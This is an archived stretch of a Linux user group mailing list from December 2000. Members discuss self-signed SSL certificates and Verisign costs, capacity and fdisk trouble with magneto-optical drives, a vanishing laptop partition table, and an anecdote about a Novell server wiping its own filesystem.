up > > a bunch of money/year for the privilege or is there an alternative? > > No you don't, you can generate your own certificate. No URLs handy but I > believe it's explained in the mod_ssl or one of those docs installation > docs. Been a long time, sorry. Also, there's Public Key Infrastructure > (PKI) which I believe will be an open resource that we don't have to pay > for but I'm vaguely familiar with it. I do believe that it's related to > SSL, a friend is actually working on it. I should do my homework. > > Ron > > > -Tim > > > > -- > > Tim Wilson | Visit Sibley online: | Check out: > > Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ > > W. St. Paul, MN | | http://slashdot.org/ > > wilson@visi.com | | http://linux.com/ > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From austad at marketwatch.com Sun Dec 17 17:23:36 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] cheap SSL Message-ID: > also.. is there any way to create a *.domain.tld SSL key so > you don't have > to have extra keys/IP's for each virtual domain? I know you Nope. You have to buy one for each hostname. We went through this already with them. However, they'll sell you this crappy windows program so you can generate your own keys and still have them be signed by Verisign. It's a couple thousand dollars for the program and it'll generate 10 or 15 certs before it's no good anymore. Verisign is evil. Since they are now the only people that you can get certs from, they are total and complete pricks on the phone knowing that you HAVE to do business with them. Jay From ben at nerp.net Sun Dec 17 17:36:23 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] cheap SSL In-Reply-To: Message-ID: *sigh* oh well.. now my other question is.. is there a nice bit of javascript to walk users through adding myself as a key signer in their browser? Thank You, Ben Kochie (ben@nerp.net) *-----------------------* [ - * - * - * - * - * - * - * - ] | Unix/Linux Consulting | [ Haiku Error Message: ] | PC/Mac Repair | [ Chaos reigns within. ] | Networking | [ Reflect, repent, and reboot. ] | http://nerp.net | [ Order shall return. ] *-----------------------* [ - * - * - * - * - * - * - * - ] "Unix is user friendly, Its just picky about its friends." On Sun, 17 Dec 2000, Austad, Jay wrote: > > also.. is there any way to create a *.domain.tld SSL key so > > you don't have > > to have extra keys/IP's for each virtual domain? I know you > > Nope. You have to buy one for each hostname. We went through this already > with them. However, they'll sell you this crappy windows program so you can > generate your own keys and still have them be signed by Verisign. It's a > couple thousand dollars for the program and it'll generate 10 or 15 certs > before it's no good anymore. > > Verisign is evil. Since they are now the only people that you can get certs > from, they are total and complete pricks on the phone knowing that you HAVE > to do business with them. > > Jay > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From wilson at visi.com Sun Dec 17 17:42:05 2000 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] cheap SSL In-Reply-To: Message-ID: On Sun, 17 Dec 2000, Ben Kochie wrote: > no.. openssl provides utilities to generate ssl certs.. they arn't > "trusted" and you have to click through with a dialog box.. but it's only > anoying once OK, that was pretty easy. # apt-get install apache-ssl Done deal. -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ W. St. Paul, MN | | http://slashdot.org/ wilson@visi.com | | http://linux.com/ From parker at mi-recordz.com Sun Dec 17 17:44:45 2000 From: parker at mi-recordz.com (parker@mi-recordz.com) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] cheap SSL In-Reply-To: Message-ID: Hi, > ok.. a PKI that you can put your own keys up in? where? I want it! :) I've sent a letter asking about it. There won't be a reply for a couple days. The company I work for is collaborating with our largest competitor in developing this solution. I guess that means they think there's going to be money in it. I would think someone with a name, legitmacy, like Tucows could provide a solution. I mean, who is Versign and what do they do? I know the answer to that question but the point is, what makes them an authority? Is it just because they say they are? > also.. is there any way to create a *.domain.tld SSL key so you don't have > to have extra keys/IP's for each virtual domain? I know you can buy them > from versign.. in exchange for several internal organs > > Thank You, > Ben Kochie (ben@nerp.net) > > *-----------------------* [ - * - * - * - * - * - * - * - ] > | Unix/Linux Consulting | [ Haiku Error Message: ] > | PC/Mac Repair | [ Chaos reigns within. ] > | Networking | [ Reflect, repent, and reboot. ] > | http://nerp.net | [ Order shall return. ] > *-----------------------* [ - * - * - * - * - * - * - * - ] > > "Unix is user friendly, Its just picky about its friends." > > On Sun, 17 Dec 2000 parker@mi-recordz.com wrote: > > > Hi, > > > > > I want to SSL-enable my Web server at home. Do I really have to pony up > > > a bunch of money/year for the privilege or is there an alternative? > > > > No you don't, you can generate your own certificate. No URLs handy but I > > believe it's explained in the mod_ssl or one of those docs installation > > docs. Been a long time, sorry. Also, there's Public Key Infrastructure > > (PKI) which I believe will be an open resource that we don't have to pay > > for but I'm vaguely familiar with it. I do believe that it's related to > > SSL, a friend is actually working on it. I should do my homework. > > > > Ron > > > > > -Tim > > > > > > -- > > > Tim Wilson | Visit Sibley online: | Check out: > > > Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ > > > W. St. Paul, MN | | http://slashdot.org/ > > > wilson@visi.com | | http://linux.com/ > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@lists.real-time.com > > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From kbullock at ringworld.org Sun Dec 17 20:34:02 2000 From: kbullock at ringworld.org (Kevin R. Bullock) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] Stuff for sale In-Reply-To: Message-ID: On Sun, 17 Dec 2000, Yaron wrote: > On Sun, 17 Dec 2000, Apu wrote: > > Athlon Slot1 750 Mhz Processor (TB core) $120 > Um, Athlons are Slot A... and TBirds are Socket A? IIRC there do exist some Slot A Thunderbirds. Pacem in Terris / Mir / Shanti / Salaam / Heiwa Kevin R. Bullock From clay at fandre.com Mon Dec 18 05:05:02 2000 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] MO Problems Message-ID: <3A3DEF5E.D7940AD@fandre.com> Everone get their MO driver? Everone get their MO drive working? I finally found some time this weekend to hook mine up and I'm having some weird problems. When I load me SCSI fdomain module, the drive is recognized, but whenever I run fdisk on it, my system totally freezes. I even tried my BBC and I have the same problem. And it doesn't matter what options I give fdisk (-b 2048, etc.) Any ideas? Winblows has problems too. I can use fdisk, but format fails. But I know the drive is working because I can make a file-system on the entire device just fine: mkfs /dev/sda and then mount it just fine: mount /dev/sda /mnt Hardware problem? BTW, please let me know if you didn't receive your drive. (And you were suppose to.) From ry4an at ry4an.org Mon Dec 18 07:01:55 2000 From: ry4an at ry4an.org (Ry4an Brase) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] lost partition table, disk geometry, and my tale of woe Message-ID: <20001218070155.A4568@roark.ry4an.org> I've got an old Sony vaio 505g, that I like very much, and it's quite linux friendly. However, twice now since since getting it a month ago, I've un-suspended only to find the partition table on hda completely gone. The first time I hastily forced a fsck on /hda1 from the redhat 6.2 rescue mode and lost any hope of recovery. However, upon formatting and re-installing the redhat install couldn't read the disk, write the disk, or create a partition table. Assuming the drive had died I used it as an excuse to replace for 2gig drive with a 4gig drive. Now, two weeks after installing the 4gig -- two weeks during which everything worked perfectly -- the same thing has happened. The partition table is just plain missing. A boot into rescue mode shows that that data's still on the drive, but fdisk reports no paritition table. Since I had nothing special on that drive I decided to re-format and the same thing's happening. Fdisk says it's writing out a parition table, gives no errors, but then when I run fdisk again, there's no info in the partition table. I notice that there's a discrepancy between the heads/sector/cylindar counts given by the BIOS (where they're autodetected) and fdisk, but I don't know enough about disk geometries to tell if that's healthy deception on the part of lilo to trick its way past some max partition size nonsense, or if the it's the cause of my problems. Does anyone have any tips they can give me? There's the remote possibility that this new disk is died too, but I think it's more likely that I'm doing something stupid and that first one was okay too. Help! -- Ry4an Brase - http://ry4an.org /~\ 'If you're not a rebel when you're 20 you've got no heart; if \ / you're not establishment when you're 30 you've got no brain. X Join the ASCII ribbon campaign against HTML email / \ From jethro at freakzilla.com Mon Dec 18 07:43:53 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] MO Problems In-Reply-To: <3A3DEF5E.D7940AD@fandre.com> Message-ID: Hi, On Mon, 18 Dec 2000, Clay Fandre wrote: > Hardware problem? I don't know, but I also had problems creating partitions on the darn thing. I figure I'm not going ot be partitioning a 640MB device, though, so I just use the whole thing... -Yaron -- From clay at fandre.com Mon Dec 18 08:00:30 2000 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] MO Problems In-Reply-To: References: Message-ID: <977148030.3a3e187e9c796@www.fandre.com> Quoting Yaron : > Hi, > > On Mon, 18 Dec 2000, Clay Fandre wrote: > > > Hardware problem? > > I don't know, but I also had problems creating partitions on the darn > thing. I figure I'm not going ot be partitioning a 640MB device, though, > so I just use the whole thing... > > -Yaron What sort of problems are you having? System lockups? Does all 640M show up? After I create and mount my filesystem, only about 599M show up. From jethro at freakzilla.com Mon Dec 18 08:06:44 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] MO Problems In-Reply-To: <977148030.3a3e187e9c796@www.fandre.com> Message-ID: Hi, On Mon, 18 Dec 2000, Clay Fandre wrote: > What sort of problems are you having? System lockups? Does all 640M show up? > After I create and mount my filesystem, only about 599M show up. I _did_ have one or two system hangs with the thing. Only happened a couple of times when I was fdisking. Scary thing is when I ran fdisk under Windoze (or DOS really) it hung the machine AND THE FAT GOT SCREWED UP, so I had to reinstall Doze. I'm not seeing the full 640MB, I don't think anyone is. I've been trying to get my machine to boot from it - but that's just not working. No OS can even _see_ the damn thing at boot. Well, Linux sees it but for some reason you can't install to it. QNX and Doze 98/98SE/Me can't see it, Win2K sees it but says it needs more diskspace. Grrrr. I'm off on a week's vacation now so I won't be connected to reply for much longer (; -Yaron -- From mtsqph at yahoo.com Mon Dec 18 08:40:16 2000 From: mtsqph at yahoo.com (grey Moon-Wolf) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] lost partition table, disk geometry, and my tale of woe Message-ID: <20001218144016.92346.qmail@web10301.mail.yahoo.com> --- Ry4an Brase wrote: > I've got an old Sony vaio 505g, that I like very > much, and it's quite > linux friendly. However, twice now since since > getting it a month ago, > I've un-suspended only to find the partition table > on hda completely > gone. Ry4an, Yo! I know beans about a Sony VAIO but... I will bet dollars to donuts that (1) your hard disk is good... it is not dead. Neither is the previous one... (2) you need to find out what the exact geometry of your HD is... check the documentation that came with it, or the lable on the HD. Now, with that said, check in your setup settings... see if you can switch the auto settings in your PNP(plug and play) to 'legacy'(pg up and pg dn switch 'auto' to 'legacy' choices) your instructions on how to manipulate the settings are on the bottom of the screen... In CMOS settings set your primary master to AUTO and AUTO (first slot setting and last) should be a bunch of dashes or dots in between... same for CD (Secondary Master)... now this is just an attempt at a quick solution... that will not harm anything. Remember 100% of what is done here can be undone by changing the settings. And these settings may not be there... But thought I would at least attempt to help you. :) and remember... don't give up... it is just a stupid machine!!! built by people like you and me... Caio! __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From lerwick at tcfreenet.org Mon Dec 18 08:52:10 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] MO Problems References: Message-ID: <3A3E249A.27241C19@tcfreenet.org> > I'm not seeing the full 640MB, I don't think anyone is. Hmmm, that interests me. Even if they're using 1000k bs-megabytes we should be seeing about 620mb. The survey reveals everyone only seeing around 600mb. >> > /dev/scsi/host0/bus0/target4/lun0/disc >> > 620680 131428 489252 22% /mnt/mo >> /dev/sdd1 610700 18 579656 1% /mnt/mo > > /dev/sdb 610876 602762 0 100% /mnt Hmmm. Do MO disks eat up spare sectors like zip disks tend to? Maybe if I calculate it out with 1000byte bs-kb... 610mb. Getting closer... From andy at theasis.com Mon Dec 18 02:46:19 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] MO Problems In-Reply-To: <3A3DEF5E.D7940AD@fandre.com> Message-ID: > > Hardware problem? Dunno... The disk I got actually had what looked like some partitions on it, but I couldn't tell what kind, nor did I save the strange warning or error messages that I got when I tried to list them (bad andy!). I did manage to delete all 4, and then make one big one. However, I didn't use the option to "make one big partition /dev/sdX", but rather made /dev/sdd1: Disk /dev/sdd: 606 cylinders, 64 heads, 32 sectors/track Units = cylinders of 1048576 bytes, blocks of 1024 bytes, counting from 0 Device Boot Start End #cyls #blocks Id System /dev/sdd1 0+ 605 606- 620528 83 Linux /dev/sdd2 0 - 0 0 0 Empty /dev/sdd3 0 - 0 0 0 Empty /dev/sdd4 0 - 0 0 0 Empty Andy From parker at mi-recordz.com Mon Dec 18 08:50:47 2000 From: parker at mi-recordz.com (parker@mi-recordz.com) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] cheap SSL In-Reply-To: Message-ID: Hi, > ok.. a PKI that you can put your own keys up in? where? I want it! :) I haven't learned much and won't have time to look into this further but following is a response I did recieve, the website is in French so I'm afraid that I haven't learned a thing, sorry. <--letter--> Hi, Is your PKI available yet? More specifically can we put ssl keys in a public repository? Do you have dates for your application? I think PKI will be available on idealx.org this week. Sure you can put ssl keys on a public repository. With idxCA (the first PKI), the certificate is stored under the Certification Authority and also under the Organization. Actually the repository is LDAP If I understand it correctly, you've got one hot potatoe in the oven. Nice Job! I hope I wake up to do this job. Patrick <----/letter---> Well, I don't even know if public repository means it's free of cost. I do know that all code is to be licensed GPL. Of course that's not an indication of whether or not there's an organ exchange program. Ron From jacque at fruitioninc.com Mon Dec 18 09:52:52 2000 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] test Message-ID: <3A3E32D4.4C0D5AF3@fruitioninc.com> sorry..having wierd email problems. ~j From natecars at real-time.com Mon Dec 18 10:06:46 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] Kernel compiling error In-Reply-To: <20001216120907.H24841@wookimus.net> Message-ID: On Sat, 16 Dec 2000, Chad '^chewie' Walstrom wrote: > If I understand Red Hat systems correctly, they package the gcc 2.72 > compiler as kgcc. You must download and install the kgcc package and > edit the kernel Makefile to use the 'kgcc' binary. That's RedHat 7.0 only. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From b.layer at vikingelectronics.com Mon Dec 18 10:06:10 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] Could Novell suck this badly? In-Reply-To: References: Message-ID: <00121810061000.00258@Billbob_Linux> Thought I'd share this tale of total system & network annihilation. This one is for real, folks. I wish it hadn't been so, but... Last Wednesday, I thought it would be prudent to tidy up my network files, as I am planning on leaving my current job in the not-too-distant future. First step, was to consolidate everything spread across the network under my home directory, so I could deal with it in a systemitized fashion. I had a directory storing a big slug of .ISO images; probably 20 in all. I picked up that dir for a MOVE operation, and set it down in the home dir. This should have taken 5 seconds. Novell went to work... apparently, Novell never actually moves anything - it actually copies it, and as the system runs out of storage, it discards the old files in FIFO order. This is to allow the recovery of accidental deletions. The 'moving' went on for several hours after I went home for the day. Here's where it gets funny. We have 72GB online, but for SOME REASON, Novell gets configured as as if it actually has 80GB of storage. I am told this is to allow for future expansion (an 8GB expansion?). Since I was moving about 15GB of files, and we had the server pretty loaded up, Novell decided to start wrting data to that "vitual" 8GB of space.... which loops back onto the start of the partition, and wipes out the system areas but not before it corrupts the FAT beyond repair. LOL! This took the entire Novell network down for three days, and forced upgrade of several packages, which did not want to re-install. The admin brought in external experts because the mess was so unmanageable. We lost several days work, and some business as well. They are still having problems with Macola Progression as I write this. I have nothing to do here right now. I spoke with the external guy, who told me that this is common to ALL current Novell systems, and he has seen it personally several times now. In his words, it's just a disaster waiting to happen anytime... To me, this is pratically unthinkable. Could Novell really suck this badly? -- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | .:Bill Layer:. | Viking Electronics,Inc. 1531 Industrial St | | .:Sales Technician:. | Hudson, WI 54016 USA + 715.386.8861 x210 | | b.layer@vikingelectronics.com | http://www.vikingelectronics.com | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ "Telecom Solutions for the 21st Century" + Powered by Slackware Linux 7.1.0 From natecars at real-time.com Mon Dec 18 10:27:07 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] Could Novell suck this badly? In-Reply-To: <00121810061000.00258@Billbob_Linux> Message-ID: On Mon, 18 Dec 2000, Bill Layer wrote: > is pratically unthinkable. Could Novell really suck this badly? Yes. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From austad at marketwatch.com Mon Dec 18 10:26:32 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:55 2005 Subject: [TCLUG] Could Novell suck this badly? Message-ID: This story reminds me of my quote last week in the kitchen at work with some other employees... programmer: "What's your backup plan on that?" me: "updating my resume." :) > -----Original Message----- > From: Bill Layer [mailto:b.layer@vikingelectronics.com] > Sent: Monday, December 18, 2000 10:06 AM > To: tclug-list@lists.real-time.com > Subject: [TCLUG] Could Novell suck this badly? > > > Thought I'd share this tale of total system & network > annihilation. This one > is for real, folks. I wish it hadn't been so, but... > > Last Wednesday, I thought it would be prudent to tidy up my > network files, as > I am planning on leaving my current job in the > not-too-distant future. First > step, was to consolidate everything spread across the network > under my home > directory, so I could deal with it in a systemitized fashion. I had a > directory storing a big slug of .ISO images; probably 20 in > all. I picked up > that dir for a MOVE operation, and set it down in the home > dir. This should > have taken 5 seconds. > > Novell went to work... apparently, Novell never actually > moves anything - it > actually copies it, and as the system runs out of storage, it > discards the > old files in FIFO order. This is to allow the recovery of accidental > deletions. The 'moving' went on for several hours after I > went home for the > day. > > Here's where it gets funny. We have 72GB online, but for SOME > REASON, Novell > gets configured as as if it actually has 80GB of storage. I > am told this is > to allow for future expansion (an 8GB expansion?). Since I > was moving about > 15GB of files, and we had the server pretty loaded up, Novell > decided to > start wrting data to that "vitual" 8GB of space.... which > loops back onto the > start of the partition, and wipes out the system areas but > not before it > corrupts the FAT beyond repair. LOL! > > This took the entire Novell network down for three days, and > forced upgrade > of several packages, which did not want to re-install. The > admin brought in > external experts because the mess was so unmanageable. We > lost several days > work, and some business as well. They are still having > problems with Macola > Progression as I write this. I have nothing to do here right now. > > I spoke with the external guy, who told me that this is > common to ALL current > Novell systems, and he has seen it personally several times > now. In his > words, it's just a disaster waiting to happen anytime... > To me, this > is pratically unthinkable. Could Novell really suck this badly? > > > -- > ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > ++++++++++++++++ > | .:Bill Layer:. | Viking Electronics,Inc. > 1531 Industrial St | > | .:Sales Technician:. | Hudson, WI 54016 USA + > 715.386.8861 x210 | > | b.layer@vikingelectronics.com | > http://www.vikingelectronics.com | > ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > ++++++++++++++++ > "Telecom Solutions for the 21st Century" + Powered by > Slackware Linux 7.1.0 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From jethro at freakzilla.com Mon Dec 18 10:31:37 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:55 2005 Subject: [TCLUG] Could Novell suck this badly? In-Reply-To: <00121810061000.00258@Billbob_Linux> Message-ID: Yes. -Yaron -- From blutgens at sistina.com Mon Dec 18 10:31:25 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:55 2005 Subject: [TCLUG] Could Novell suck this badly? In-Reply-To: <00121810061000.00258@Billbob_Linux>; from b.layer@vikingelectronics.com on Mon, Dec 18, 2000 at 10:06:10AM -0600 References: <00121810061000.00258@Billbob_Linux> Message-ID: <20001218103124.C2757@socrates.sistina.com> On Mon, Dec 18, 2000 at 10:06:10AM -0600, Bill Layer wrote: >I spoke with the external guy, who told me that this is common to ALL current >Novell systems, and he has seen it personally several times now. In his >words, it's just a disaster waiting to happen anytime... To me, this >is pratically unthinkable. Could Novell really suck this badly? > HAHAHAHAHA. HAHAHAHA. Apparently so. It's no wonder thier loosing market share. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001218/a97f5098/attachment.pgp From blutgens at sistina.com Mon Dec 18 10:35:52 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:55 2005 Subject: [TCLUG] Could Novell suck this badly? In-Reply-To: ; from austad@marketwatch.com on Mon, Dec 18, 2000 at 10:26:32AM -0600 References: Message-ID: <20001218103551.D2757@socrates.sistina.com> On Mon, Dec 18, 2000 at 10:26:32AM -0600, Austad, Jay wrote: >programmer: "What's your backup plan on that?" >me: "updating my resume." What do you do? Sistina is hiring. Hey Bill, where's your resume? -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001218/dae91658/attachment.pgp From esper at sherohman.org Mon Dec 18 10:41:56 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:55 2005 Subject: [TCLUG] MO Problems In-Reply-To: <3A3E249A.27241C19@tcfreenet.org>; from lerwick@tcfreenet.org on Mon, Dec 18, 2000 at 08:52:10AM -0600 References: <3A3E249A.27241C19@tcfreenet.org> Message-ID: <20001218104156.A31413@sherohman.org> On Mon, Dec 18, 2000 at 08:52:10AM -0600, Callum Lerwick wrote: > Hmmm, that interests me. Even if they're using 1000k bs-megabytes we > should be seeing about 620mb. The survey reveals everyone only seeing > around 600mb. Just to feed in another data point... /dev/sda1 610700 18 579656 0% /mod > >> > /dev/scsi/host0/bus0/target4/lun0/disc > >> > 620680 131428 489252 22% /mnt/mo > >> /dev/sdd1 610700 18 579656 1% /mnt/mo > > > > /dev/sdb 610876 602762 0 100% /mnt Side comment: Someone earlier commented on how ridiculously fast he could fill his MO disk and specifically mentioning that it was much faster than CD-RW. I tested mine (by finding a directory tree containing 504M of mp3s) and time reported that it took nearly 10 minutes to complete the copy operation. In round numbers, 500M / 10 min = 50 M/min. Given that CD audio runs slightly under 10 M/min, I'd say that's roughly comparable to 6x CD, which isn't extraordinary these days. OTOH, this was on a Cyrix Pentium-150-equivalent system copying from an IDE drive to the SCSI MO drive using an ISA SCSI controller, so I would guess that the MO drive itself was not the bottleneck. But it was still a little disappointing... -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From mjn at umn.edu Mon Dec 18 10:43:59 2000 From: mjn at umn.edu (mjn) Date: Mon Jan 17 13:13:55 2005 Subject: [TCLUG] Could Novell suck this badly? In-Reply-To: Message-ID: > > I spoke with the external guy, who told me that this is > > common to ALL current > > Novell systems, and he has seen it personally several times > > now. In his > > words, it's just a disaster waiting to happen anytime... > > To me, this > > is pratically unthinkable. Could Novell really suck this badly? While Novell could be this stupid the first thing that popped into my head was "When was the last time the fs was purged for deleted files?" On a relatively small filesystem I have seen the purgable space soar up to 8GB in just two weeks. Its still ridiculous that this would even happen; especially given the mature security of NDS. ____________________________ Mike Neuharth ADCS Technology Specialist http://www.umn.edu/adcs E-Mail : mjn@umn.edu Page Mail : 6126486512@page.metrocall.com http://nifty.dsl.visi.com/ ____________________________ From b.layer at vikingelectronics.com Mon Dec 18 10:51:39 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:55 2005 Subject: [TCLUG] Could Novell suck this badly? In-Reply-To: References: Message-ID: <00121810513905.00258@Billbob_Linux> On Monday 18 December 2000 10:43, you wrote: > Its still ridiculous that this would even happen; especially given the > mature security of NDS. My point exactly; but when the system is (mis)configured at the hardware level (a form of LVM?) all the filesystem security and redundancy in the world is hanging on a thread... make that a greased pole. The external guy told me also, that on larger servers, that it's typical to have the drives configured as 300GB, in instances of 150GB of real media. The proverbial 'weak link' breaking the chain. I am still in awe of this... -- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | .:Bill Layer:. | Viking Electronics,Inc. 1531 Industrial St | | .:Sales Technician:. | Hudson, WI 54016 USA + 715.386.8861 x210 | | b.layer@vikingelectronics.com | http://www.vikingelectronics.com | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ "Telecom Solutions for the 21st Century" + Powered by Slackware Linux 7.1.0 From natecars at real-time.com Mon Dec 18 11:56:21 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:55 2005 Subject: [TCLUG] Could Novell suck this badly? In-Reply-To: <00121810513905.00258@Billbob_Linux> Message-ID: On Mon, 18 Dec 2000, Bill Layer wrote: > My point exactly; but when the system is (mis)configured at the hardware > level (a form of LVM?) all the filesystem security and redundancy in the > world is hanging on a thread... make that a greased pole. > > The external guy told me also, that on larger servers, that it's typical to > have the drives configured as 300GB, in instances of 150GB of real media. The > proverbial 'weak link' breaking the chain. > > I am still in awe of this... So, _if_ you configure it properly for how much real drive space you have, you'd be ok though.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From hick0088 at tc.umn.edu Mon Dec 18 12:00:29 2000 From: hick0088 at tc.umn.edu (Michael Hicks) Date: Mon Jan 17 13:13:55 2005 Subject: [TCLUG] MO Problems References: <3A3E249A.27241C19@tcfreenet.org> Message-ID: <3A3E50BD.51A0E396@tc.umn.edu> Callum Lerwick wrote: > > > I'm not seeing the full 640MB, I don't think anyone is. > > Hmmm, that interests me. Even if they're using 1000k bs-megabytes we > should be seeing about 620mb. The survey reveals everyone only seeing > around 600mb. Hmm.. Would you be able to do `wc -c /dev/sd' and find the actual number of bytes on the disk? I'm not sure how much extra space various filesystems take up.. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Famous last words - You / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ and what army? \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] From natecars at real-time.com Mon Dec 18 12:11:30 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:55 2005 Subject: [TCLUG] MO Problems In-Reply-To: <3A3E50BD.51A0E396@tc.umn.edu> Message-ID: On Mon, 18 Dec 2000, Michael Hicks wrote: > Hmm.. Would you be able to do `wc -c /dev/sd' and find the actual > number of bytes on the disk? I'm not sure how much extra space various > filesystems take up.. 635600896 /dev/sdc So, technically, it's a 606mb disk, correct? (assuming 1k == 1024bytes) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From b.layer at vikingelectronics.com Mon Dec 18 12:19:16 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:55 2005 Subject: [TCLUG] Could Novell suck this badly? In-Reply-To: References: <00121810513905.00258@Billbob_Linux> Message-ID: <4.3.2.7.2.20001218121707.00d29de0@192.168.210.18> At 11:56 AM 12/18/00 -0600, you wrote: > > I am still in awe of this... > >So, _if_ you configure it properly for how much real drive space you have, >you'd be ok though.. Yes, seems like a simple sort of thing (thus my awe) but apparently, the logical sizing is SOP. Ok, change of heart, I decided that I no longer belive this anymore. I need to talk to some more people... it's just too impossibly stupid ;) Hey look, I'm usin' Winders! :p Bill Layer Sales Technician +----------------------------------+ Viking Electronics, Inc. 1531 Industrial St. Hudson, WI. 54016 - U.S.A 715.386.8861 ext. 210 +----------------------------------+ "Telecom Solutions for the 21st Century" From austad at marketwatch.com Mon Dec 18 12:21:25 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:55 2005 Subject: [TCLUG] Could Novell suck this badly? Message-ID: > What do you do? Sistina is hiring. How about network engineers/security? > -----Original Message----- > From: Ben Lutgens [mailto:blutgens@sistina.com] > Sent: Monday, December 18, 2000 10:36 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Could Novell suck this badly? > > > On Mon, Dec 18, 2000 at 10:26:32AM -0600, Austad, Jay wrote: > >programmer: "What's your backup plan on that?" > >me: "updating my resume." > > What do you do? Sistina is hiring. > > Hey Bill, 